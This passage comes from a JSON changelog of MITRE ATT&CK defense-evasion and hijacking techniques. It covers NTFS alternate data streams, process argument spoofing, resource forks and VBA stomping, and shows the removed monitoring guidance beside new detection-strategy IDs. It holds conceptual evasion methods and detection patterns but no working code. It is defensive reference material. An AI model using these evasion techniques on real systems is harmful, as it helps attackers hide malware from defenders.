"url": "https://www.us-cert.gov/ncas/alerts/TA18-074A"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_contributors": [
"Omkar Gudhate"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"macOS",
"Windows",
"Linux"
],
"x_mitre_version": "1.2",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"File: File Modification\", \"User Account: User Account Creation\", \"Windows Registry: Windows Registry Key Modification\", \"Process: Process Creation\", \"Command: Command Execution\", \"User Account: User Account Metadata\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:05.113000+00:00\", \"old_value\": \"2025-04-15 22:39:51.186000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor for users that may be hidden from the login screen but still present in additional artifacts of usage such as directories and authentication logs. \\n\\nMonitor processes and command-line events for actions that could be taken to add a new user and subsequently hide it from login screens. Monitor Registry events for modifications to the HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Winlogon\\\\SpecialAccounts\\\\UserList key.\\n\\nIn macOS, monitor for commands, processes, and file activity in combination with a user that has a userID under 500.(Citation: Cybereason OSX Pirrit) Monitor for modifications to set the Hide500Users key value to TRUE in the /Library/Preferences/com.apple.loginwindow plist file. Monitor the command line for usage of the dscl . create command with the IsHidden attribute set to 1.(Citation: Apple Support Hide a User Account) \", \"diff\": \"--- \\n+++ \\n@@ -1,5 +0,0 @@\\n-Monitor for users that may be hidden from the login screen but still present in additional artifacts of usage such as directories and authentication logs. \\n-\\n-Monitor processes and command-line events for actions that could be taken to add a new user and subsequently hide it from login screens. Monitor Registry events for modifications to the HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Winlogon\\\\SpecialAccounts\\\\UserList key.\\n-\\n-In macOS, monitor for commands, processes, and file activity in combination with a user that has a userID under 500.(Citation: Cybereason OSX Pirrit) Monitor for modifications to set the Hide500Users key value to TRUE in the /Library/Preferences/com.apple.loginwindow plist file. Monitor the command line for usage of the dscl . create command with the IsHidden attribute set to 1.(Citation: Apple Support Hide a User Account) \"}}}",
"previous_version": "1.2",
"changelog_mitigations": {
"shared": [
"M1028: Operating System Configuration"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0002: User Account (User Account Creation)",
"DS0002: User Account (User Account Metadata)",
"DS0009: Process (Process Creation)",
"DS0017: Command (Command Execution)",
"DS0022: File (File Modification)",
"DS0024: Windows Registry (Windows Registry Key Modification)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0353: Detection Strategy for Hidden User Accounts"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--f2857333-11d4-45bf-b064-2c28d8525be5",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-03-13 20:33:00.009000+00:00",
"modified": "2025-10-24 17:49:35.944000+00:00",
"name": "NTFS File Attributes",
"description": "Adversaries may use NTFS file attributes to hide their malicious data in order to evade detection. Every New Technology File System (NTFS) formatted partition contains a Master File Table (MFT) that maintains a record for every file/directory on the partition. (Citation: SpectorOps Host-Based Jul 2017) Within MFT entries are file attributes, (Citation: Microsoft NTFS File Attributes Aug 2010) such as Extended Attributes (EA) and Data [known as Alternate Data Streams (ADSs) when more than one Data attribute is present], that can be used to store arbitrary data (and even complete files). (Citation: SpectorOps Host-Based Jul 2017) (Citation: Microsoft File Streams) (Citation: MalwareBytes ADS July 2015) (Citation: Microsoft ADS Mar 2014)\n\nAdversaries may store malicious data or binaries in file attribute metadata instead of directly in files. This may be done to evade some defenses, such as static indicator scanning tools and anti-virus. (Citation: Journey into IR ZeroAccess NTFS EA) (Citation: MalwareBytes ADS July 2015)",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "defense-evasion"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1564/004",
"external_id": "T1564.004"
},
{
"source_name": "MalwareBytes ADS July 2015",
"description": "Arntz, P. (2015, July 22). Introduction to Alternate Data Streams. Retrieved March 21, 2018.",
"url": "https://blog.malwarebytes.com/101/2015/07/introduction-to-alternate-data-streams/"
},
{
"source_name": "SpectorOps Host-Based Jul 2017",
"description": "Atkinson, J. (2017, July 18). Host-based Threat Modeling & Indicator Design. Retrieved March 21, 2018.",
"url": "https://posts.specterops.io/host-based-threat-modeling-indicator-design-a9dbbb53d5ea"
},
{
"source_name": "Journey into IR ZeroAccess NTFS EA",
"description": "Harrell, C. (2012, December 11). Extracting ZeroAccess from NTFS Extended Attributes. Retrieved June 3, 2016.",
"url": "http://journeyintoir.blogspot.com/2012/12/extracting-zeroaccess-from-ntfs.html"
},
{
"source_name": "Microsoft NTFS File Attributes Aug 2010",
"description": "Hughes, J. (2010, August 25). NTFS File Attributes. Retrieved March 21, 2018.",
"url": "https://blogs.technet.microsoft.com/askcore/2010/08/25/ntfs-file-attributes/"
},
{
"source_name": "Microsoft ADS Mar 2014",
"description": "Marlin, J. (2013, March 24). Alternate Data Streams in NTFS. Retrieved March 21, 2018.",
"url": "https://blogs.technet.microsoft.com/askcore/2013/03/24/alternate-data-streams-in-ntfs/"
},
{
"source_name": "Microsoft File Streams",
"description": "Microsoft. (n.d.). File Streams. Retrieved September 12, 2024.",
"url": "https://learn.microsoft.com/en-us/windows/win32/fileio/file-streams"
},
{
"source_name": "Oddvar Moe ADS2 Apr 2018",
"description": "Moe, O. (2018, April 11). Putting Data in Alternate Data Streams and How to Execute It - Part 2. Retrieved June 30, 2018.",
"url": "https://oddvar.moe/2018/04/11/putting-data-in-alternate-data-streams-and-how-to-execute-it-part-2/"
},
{
"source_name": "Oddvar Moe ADS1 Jan 2018",
"description": "Moe, O. (2018, January 14). Putting Data in Alternate Data Streams and How to Execute It. Retrieved June 30, 2018.",
"url": "https://oddvar.moe/2018/01/14/putting-data-in-alternate-data-streams-and-how-to-execute-it/"
},
{
"source_name": "Symantec ADS May 2009",
"description": "Pravs. (2009, May 25). What you need to know about alternate data streams in windows? Is your Data secure? Can you restore that?. Retrieved March 21, 2018.",
"url": "https://www.symantec.com/connect/articles/what-you-need-know-about-alternate-data-streams-windows-your-data-secure-can-you-restore"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_contributors": [
"Oddvar Moe, @oddvarmoe",
"Red Canary"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Windows"
],
"x_mitre_version": "1.2",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Command: Command Execution\", \"File: File Modification\", \"Process: Process Creation\", \"File: File Metadata\", \"Process: OS API Execution\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:35.944000+00:00\", \"old_value\": \"2025-04-15 19:59:20.821000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Forensic techniques exist to identify information stored in NTFS EA. (Citation: Journey into IR ZeroAccess NTFS EA) Monitor calls to the ZwSetEaFile and ZwQueryEaFile Windows API functions as well as binaries used to interact with EA, (Citation: Oddvar Moe ADS1 Jan 2018) (Citation: Oddvar Moe ADS2 Apr 2018) and consider regularly scanning for the presence of modified information. (Citation: SpectorOps Host-Based Jul 2017)\\n\\nThere are many ways to create and interact with ADSs using Windows utilities. Monitor for operations (execution, copies, etc.) with file names that contain colons. This syntax (ex: file.ext:ads[.ext]) is commonly associated with ADSs. (Citation: Microsoft ADS Mar 2014) (Citation: Oddvar Moe ADS1 Jan 2018) (Citation: Oddvar Moe ADS2 Apr 2018) For a more exhaustive list of utilities that can be used to execute and create ADSs, see https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f.\\n\\nThe Streams tool of Sysinternals can be used to uncover files with ADSs. The dir /r command can also be used to display ADSs. (Citation: Symantec ADS May 2009) Many PowerShell commands (such as Get-Item, Set-Item, Remove-Item, and Get-ChildItem) can also accept a -stream parameter to interact with ADSs. (Citation: MalwareBytes ADS July 2015) (Citation: Microsoft ADS Mar 2014)\", \"diff\": \"--- \\n+++ \\n@@ -1,5 +0,0 @@\\n-Forensic techniques exist to identify information stored in NTFS EA. (Citation: Journey into IR ZeroAccess NTFS EA) Monitor calls to the ZwSetEaFile and ZwQueryEaFile Windows API functions as well as binaries used to interact with EA, (Citation: Oddvar Moe ADS1 Jan 2018) (Citation: Oddvar Moe ADS2 Apr 2018) and consider regularly scanning for the presence of modified information. (Citation: SpectorOps Host-Based Jul 2017)\\n-\\n-There are many ways to create and interact with ADSs using Windows utilities. Monitor for operations (execution, copies, etc.) with file names that contain colons. This syntax (ex: file.ext:ads[.ext]) is commonly associated with ADSs. (Citation: Microsoft ADS Mar 2014) (Citation: Oddvar Moe ADS1 Jan 2018) (Citation: Oddvar Moe ADS2 Apr 2018) For a more exhaustive list of utilities that can be used to execute and create ADSs, see https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f.\\n-\\n-The Streams tool of Sysinternals can be used to uncover files with ADSs. The dir /r command can also be used to display ADSs. (Citation: Symantec ADS May 2009) Many PowerShell commands (such as Get-Item, Set-Item, Remove-Item, and Get-ChildItem) can also accept a -stream parameter to interact with ADSs. (Citation: MalwareBytes ADS July 2015) (Citation: Microsoft ADS Mar 2014)\"}}}",
"previous_version": "1.2",
"changelog_mitigations": {
"shared": [
"M1022: Restrict File and Directory Permissions"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0009: Process (OS API Execution)",
"DS0009: Process (Process Creation)",
"DS0017: Command (Command Execution)",
"DS0022: File (File Metadata)",
"DS0022: File (File Modification)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0432: Detection Strategy for NTFS File Attribute Abuse (ADS/EAs)"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--ffe59ad3-ad9b-4b9f-b74f-5beb3c309dc1",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2021-11-19 14:13:11.335000+00:00",
"modified": "2025-10-24 17:49:40.325000+00:00",
"name": "Process Argument Spoofing",
"description": "Adversaries may attempt to hide process command-line arguments by overwriting process memory. Process command-line arguments are stored in the process environment block (PEB), a data structure used by Windows to store various information about/used by a process. The PEB includes the process command-line arguments that are referenced when executing the process. When a process is created, defensive tools/sensors that monitor process creations may retrieve the process arguments from the PEB.(Citation: Microsoft PEB 2021)(Citation: Xpn Argue Like Cobalt 2019)\n\nAdversaries may manipulate a process PEB to evade defenses. For example, [Process Hollowing](https://attack.mitre.org/techniques/T1055/012) can be abused to spawn a process in a suspended state with benign arguments. After the process is spawned and the PEB is initialized (and process information is potentially logged by tools/sensors), adversaries may override the PEB to modify the command-line arguments (ex: using the [Native API](https://attack.mitre.org/techniques/T1106) WriteProcessMemory() function) then resume process execution with malicious arguments.(Citation: Cobalt Strike Arguments 2019)(Citation: Xpn Argue Like Cobalt 2019)(Citation: Nviso Spoof Command Line 2020)\n\nAdversaries may also execute a process with malicious command-line arguments then patch the memory with benign arguments that may bypass subsequent process memory analysis.(Citation: FireEye FiveHands April 2021)\n\nThis behavior may also be combined with other tricks (such as [Parent PID Spoofing](https://attack.mitre.org/techniques/T1134/004)) to manipulate or further evade process-based detections.",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "defense-evasion"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1564/010",
"external_id": "T1564.010"
},
{
"source_name": "Microsoft PEB 2021",
"description": "Microsoft. (2021, October 6). PEB structure (winternl.h). Retrieved November 19, 2021.",
"url": "https://docs.microsoft.com/en-us/windows/win32/api/winternl/ns-winternl-peb"
},
{
"source_name": "Xpn Argue Like Cobalt 2019",
"description": "Chester, A. (2019, January 28). How to Argue like Cobalt Strike. Retrieved November 19, 2021.",
"url": "https://blog.xpnsec.com/how-to-argue-like-cobalt-strike/"
},
{
"source_name": "Cobalt Strike Arguments 2019",
"description": "Mudge, R. (2019, January 2). https://blog.cobaltstrike.com/2019/01/02/cobalt-strike-3-13-why-do-we-argue/. Retrieved November 19, 2021.",
"url": "https://blog.cobaltstrike.com/2019/01/02/cobalt-strike-3-13-why-do-we-argue/"
},
{
"source_name": "Nviso Spoof Command Line 2020",
"description": "Daman, R. (2020, February 4). The return of the spoof part 2: Command line spoofing. Retrieved November 19, 2021.",
"url": "https://blog.nviso.eu/2020/02/04/the-return-of-the-spoof-part-2-command-line-spoofing/"
},
{
"source_name": "FireEye FiveHands April 2021",
"description": "McLellan, T. and Moore, J. et al. (2021, April 29). UNC2447 SOMBRAT and FIVEHANDS Ransomware: A Sophisticated Financial Threat. Retrieved June 2, 2021.",
"url": "https://www.fireeye.com/blog/threat-research/2021/04/unc2447-sombrat-and-fivehands-ransomware-sophisticated-financial-threat.html"
},
{
"source_name": "Mandiant Endpoint Evading 2019",
"description": "Pena, E., Erikson, C. (2019, October 10). Staying Hidden on the Endpoint: Evading Detection with Shellcode. Retrieved November 29, 2021.",
"url": "https://www.mandiant.com/resources/staying-hidden-on-the-endpoint-evading-detection-with-shellcode"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Windows"
],
"x_mitre_version": "1.1",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Process: Process Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:40.325000+00:00\", \"old_value\": \"2025-04-25 14:48:40.519000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Detection of process argument spoofing may be difficult as adversaries may momentarily modify stored arguments used for malicious execution. These changes may bypass process creation detection and/or later process memory analysis. Consider monitoring for [Process Hollowing](https://attack.mitre.org/techniques/T1055/012), which includes monitoring for process creation (especially those in a suspended state) as well as access and/or modifications of these processes (especially by the parent process) via Windows API calls.(Citation: Nviso Spoof Command Line 2020)(Citation: Mandiant Endpoint Evading 2019)\\n\\nAnalyze process behavior to determine if a process is performing actions it usually does not and/or do no align with its logged command-line arguments.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Detection of process argument spoofing may be difficult as adversaries may momentarily modify stored arguments used for malicious execution. These changes may bypass process creation detection and/or later process memory analysis. Consider monitoring for [Process Hollowing](https://attack.mitre.org/techniques/T1055/012), which includes monitoring for process creation (especially those in a suspended state) as well as access and/or modifications of these processes (especially by the parent process) via Windows API calls.(Citation: Nviso Spoof Command Line 2020)(Citation: Mandiant Endpoint Evading 2019)\\n-\\n-Analyze process behavior to determine if a process is performing actions it usually does not and/or do no align with its logged command-line arguments.\"}}}",
"previous_version": "1.1",
"changelog_mitigations": {
"shared": [],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0009: Process (Process Creation)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0045: Detection Strategy for Process Argument Spoofing on Windows"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--b22e5153-ac28-4cc6-865c-2054e36285cb",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2021-10-12 20:02:31.866000+00:00",
"modified": "2025-10-24 17:49:14.736000+00:00",
"name": "Resource Forking",
"description": "Adversaries may abuse resource forks to hide malicious code or executables to evade detection and bypass security applications. A resource fork provides applications a structured way to store resources such as thumbnail images, menu definitions, icons, dialog boxes, and code.(Citation: macOS Hierarchical File System Overview) Usage of a resource fork is identifiable when displaying a file\u2019s extended attributes, using ls -l@ or xattr -l commands. Resource forks have been deprecated and replaced with the application bundle structure. Non-localized resources are placed at the top level directory of an application bundle, while localized resources are placed in the /Resources folder.(Citation: Resource and Data Forks)(Citation: ELC Extended Attributes)\n\nAdversaries can use resource forks to hide malicious data that may otherwise be stored directly in files. Adversaries can execute content with an attached resource fork, at a specified offset, that is moved to an executable location then invoked. Resource fork content may also be obfuscated/encrypted until execution.(Citation: sentinellabs resource named fork 2020)(Citation: tau bundlore erika noerenberg 2020)",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "defense-evasion"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1564/009",
"external_id": "T1564.009"
},
{
"source_name": "tau bundlore erika noerenberg 2020",
"description": "Erika Noerenberg. (2020, June 29). TAU Threat Analysis: Bundlore (macOS) mm-install-macos. Retrieved October 12, 2021.",
"url": "https://blogs.vmware.com/security/2020/06/tau-threat-analysis-bundlore-macos-mm-install-macos.html"
},
{
"source_name": "Resource and Data Forks",
"description": "Flylib. (n.d.). Identifying Resource and Data Forks. Retrieved October 12, 2021.",
"url": "https://flylib.com/books/en/4.395.1.192/1/"
},
{
"source_name": "ELC Extended Attributes",
"description": "Howard Oakley. (2020, October 24). There's more to files than data: Extended Attributes. Retrieved October 12, 2021.",
"url": "https://eclecticlight.co/2020/10/24/theres-more-to-files-than-data-extended-attributes/"
},
{
"source_name": "sentinellabs resource named fork 2020",
"description": "Phil Stokes. (2020, November 5). Resourceful macOS Malware Hides in Named Fork. Retrieved October 12, 2021.",
"url": "https://www.sentinelone.com/labs/resourceful-macos-malware-hides-in-named-fork/"
},
{
"source_name": "macOS Hierarchical File System Overview",
"description": "Tenon. (n.d.). Retrieved October 12, 2021.",
"url": "http://tenon.com/products/codebuilder/User_Guide/6_File_Systems.html#anchor520553"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_contributors": [
"Jaron Bradley @jbradley89",
"Ivan Sinyakov"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"macOS"
],
"x_mitre_version": "1.1",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"File: File Metadata\", \"Process: Process Creation\", \"Command: Command Execution\", \"File: File Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:14.736000+00:00\", \"old_value\": \"2025-04-16 20:37:19.185000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Identify files with the com.apple.ResourceFork extended attribute and large data amounts stored in resource forks. \\n\\nMonitor command-line activity leveraging the use of resource forks, especially those immediately followed by potentially malicious activity such as creating network connections. \", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Identify files with the com.apple.ResourceFork extended attribute and large data amounts stored in resource forks. \\n-\\n-Monitor command-line activity leveraging the use of resource forks, especially those immediately followed by potentially malicious activity such as creating network connections. \"}}}",
"previous_version": "1.1",
"changelog_mitigations": {
"shared": [
"M1013: Application Developer Guidance"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0009: Process (Process Creation)",
"DS0017: Command (Command Execution)",
"DS0022: File (File Creation)",
"DS0022: File (File Metadata)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0584: Detection Strategy for Resource Forking on macOS"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--c898c4b5-bf36-4e6e-a4ad-5b8c4c13e35b",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-09-17 12:51:40.845000+00:00",
"modified": "2025-10-24 17:49:22.623000+00:00",
"name": "VBA Stomping",
"description": "Adversaries may hide malicious Visual Basic for Applications (VBA) payloads embedded within MS Office documents by replacing the VBA source code with benign data.(Citation: FireEye VBA stomp Feb 2020)\n\nMS Office documents with embedded VBA content store source code inside of module streams. Each module stream has a PerformanceCache that stores a separate compiled version of the VBA source code known as p-code. The p-code is executed when the MS Office version specified in the _VBA_PROJECT stream (which contains the version-dependent description of the VBA project) matches the version of the host MS Office application.(Citation: Evil Clippy May 2019)(Citation: Microsoft _VBA_PROJECT Stream)\n\nAn adversary may hide malicious VBA code by overwriting the VBA source code location with zero\u2019s, benign code, or random bytes while leaving the previously compiled malicious p-code. Tools that scan for malicious VBA source code may be bypassed as the unwanted code is hidden in the compiled p-code. If the VBA source code is removed, some tools might even think that there are no macros present. If there is a version match between the _VBA_PROJECT stream and host MS Office application, the p-code will be executed, otherwise the benign VBA source code will be decompressed and recompiled to p-code, thus removing malicious p-code and potentially bypassing dynamic analysis.(Citation: Walmart Roberts Oct 2018)(Citation: FireEye VBA stomp Feb 2020)(Citation: pcodedmp Bontchev)",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "defense-evasion"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1564/007",
"external_id": "T1564.007"
},
{
"source_name": "FireEye VBA stomp Feb 2020",
"description": "Cole, R., Moore, A., Stark, G., Stancill, B. (2020, February 5). STOMP 2 DIS: Brilliance in the (Visual) Basics. Retrieved September 17, 2020.",
"url": "https://www.fireeye.com/blog/threat-research/2020/01/stomp-2-dis-brilliance-in-the-visual-basics.html"
},
{
"source_name": "Evil Clippy May 2019",
"description": "Hegt, S. (2019, May 5). Evil Clippy: MS Office maldoc assistant. Retrieved September 17, 2020.",
"url": "https://outflank.nl/blog/2019/05/05/evil-clippy-ms-office-maldoc-assistant/"
},
{
"source_name": "Microsoft _VBA_PROJECT Stream",
"description": "Microsoft. (2020, February 19). 2.3.4.1 _VBA_PROJECT Stream: Version Dependent Project Information. Retrieved September 18, 2020.",
"url": "https://docs.microsoft.com/en-us/openspecs/office_file_formats/ms-ovba/ef7087ac-3974-4452-aab2-7dba2214d239"
},
{
"source_name": "Walmart Roberts Oct 2018",
"description": "Sayre, K., Ogden, H., Roberts, C. (2018, October 10). VBA Stomping \u2014 Advanced Maldoc Techniques. Retrieved September 17, 2020.",
"url": "https://medium.com/walmartglobaltech/vba-stomping-advanced-maldoc-techniques-612c484ab278"
},
{
"source_name": "pcodedmp Bontchev",
"description": "Bontchev, V. (2019, July 30). pcodedmp.py - A VBA p-code disassembler. Retrieved September 17, 2020.",
"url": "https://github.com/bontchev/pcodedmp"
},
{
"source_name": "oletools toolkit",
"description": "decalage2. (2019, December 3). python-oletools. Retrieved September 18, 2020.",
"url": "https://github.com/decalage2/oletools"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_contributors": [
"Rick Cole, Mandiant"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Linux",
"Windows",
"macOS"
],
"x_mitre_version": "1.2",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"File: File Metadata\", \"Script: Script Execution\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:22.623000+00:00\", \"old_value\": \"2025-04-25 14:48:00.627000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Detection efforts should be placed finding differences between VBA source code and p-code.(Citation: Walmart Roberts Oct 2018) VBA code can be extracted from p-code before execution with tools such as the pcodedmp disassembler. The oletools toolkit leverages the pcodedmp disassembler to detect VBA stomping by comparing keywords present in the VBA source code and p-code.(Citation: pcodedmp Bontchev)(Citation: oletools toolkit)\\n\\nIf the document is opened with a Graphical User Interface (GUI) the malicious p-code is decompiled and may be viewed. However, if the PROJECT stream, which specifies the project properties, is modified in a specific way the decompiled VBA code will not be displayed. For example, adding a module name that is undefined to the PROJECT stream will inhibit attempts of reading the VBA source code through the GUI.(Citation: FireEye VBA stomp Feb 2020)\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Detection efforts should be placed finding differences between VBA source code and p-code.(Citation: Walmart Roberts Oct 2018) VBA code can be extracted from p-code before execution with tools such as the pcodedmp disassembler. The oletools toolkit leverages the pcodedmp disassembler to detect VBA stomping by comparing keywords present in the VBA source code and p-code.(Citation: pcodedmp Bontchev)(Citation: oletools toolkit)\\n-\\n-If the document is opened with a Graphical User Interface (GUI) the malicious p-code is decompiled and may be viewed. However, if the PROJECT stream, which specifies the project properties, is modified in a specific way the decompiled VBA code will not be displayed. For example, adding a module name that is undefined to the PROJECT stream will inhibit attempts of reading the VBA source code through the GUI.(Citation: FireEye VBA stomp Feb 2020)\"}}}",
"previous_version": "1.2",
"changelog_mitigations": {
"shared": [
"M1042: Disable or Remove Feature or Program"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0012: Script (Script Execution)",
"DS0022: File (File Metadata)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0012: Detection Strategy for VBA Stomping"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--aedfca76-3b30-4866-b2aa-0f1d7fd1e4b6",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-03-12 20:38:12.465000+00:00",
"modified": "2025-10-24 17:49:13.820000+00:00",
"name": "Hijack Execution Flow",
"description": "Adversaries may execute their own malicious payloads by hijacking the way operating systems run programs. Hijacking execution flow can be for the purposes of persistence, since this hijacked execution may reoccur over time. Adversaries may also use these mechanisms to elevate privileges or evade defenses, such as application control or other restrictions on execution.\n\nThere are many ways an adversary may hijack the flow of execution, including by manipulating how the operating system locates programs to be executed. How the operating system locates libraries to be used by a program can also be intercepted. Locations where the operating system looks for programs/resources, such as file directories and in the case of Windows the Registry, could also be poisoned to include malicious payloads.",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "persistence"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "privilege-escalation"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "defense-evasion"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1574",
"external_id": "T1574"
},
{
"source_name": "Autoruns for Windows",
"description": "Mark Russinovich. (2019, June 28). Autoruns for Windows v13.96. Retrieved March 13, 2020.",
"url": "https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": false,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Linux",
"macOS",
"Windows"
],
"x_mitre_version": "1.3",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Windows Registry: Windows Registry Key Modification\", \"File: File Creation\", \"Module: Module Load\", \"Process: Process Creation\", \"Service: Service Metadata\", \"File: File Modification\", \"Command: Command Execution\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:13.820000+00:00\", \"old_value\": \"2025-04-15 19:58:57.767000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor file systems for moving, renaming, replacing, or modifying DLLs. Changes in the set of DLLs that are loaded by a process (compared with past behavior) that do not correlate with known software, patches, etc., are suspicious. Monitor DLLs loaded into a process and detect DLLs that have the same file name but abnormal paths. Modifications to or creation of .manifest and .local redirection files that do not correlate with software updates are suspicious.\\n\\nLook for changes to binaries and service executables that may normally occur during software updates. If an executable is written, renamed, and/or moved to match an existing service executable, it could be detected and correlated with other suspicious behavior. Hashing of binaries and service executables could be used to detect replacement against historical data.\\n\\nMonitor for changes to environment variables, as well as the commands to implement these changes.\\n\\nMonitor processes for unusual activity (e.g., a process that does not use the network begins to do so, abnormal process call trees). Track library metadata, such as a hash, and compare libraries that are loaded at process execution time against previous executions to detect differences that do not correlate with patching or updates.\\n\\nService changes are reflected in the Registry. Modification to existing services should not occur frequently. If a service binary path or failure parameters are changed to values that are not typical for that service and does not correlate with software updates, then it may be due to malicious activity. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and 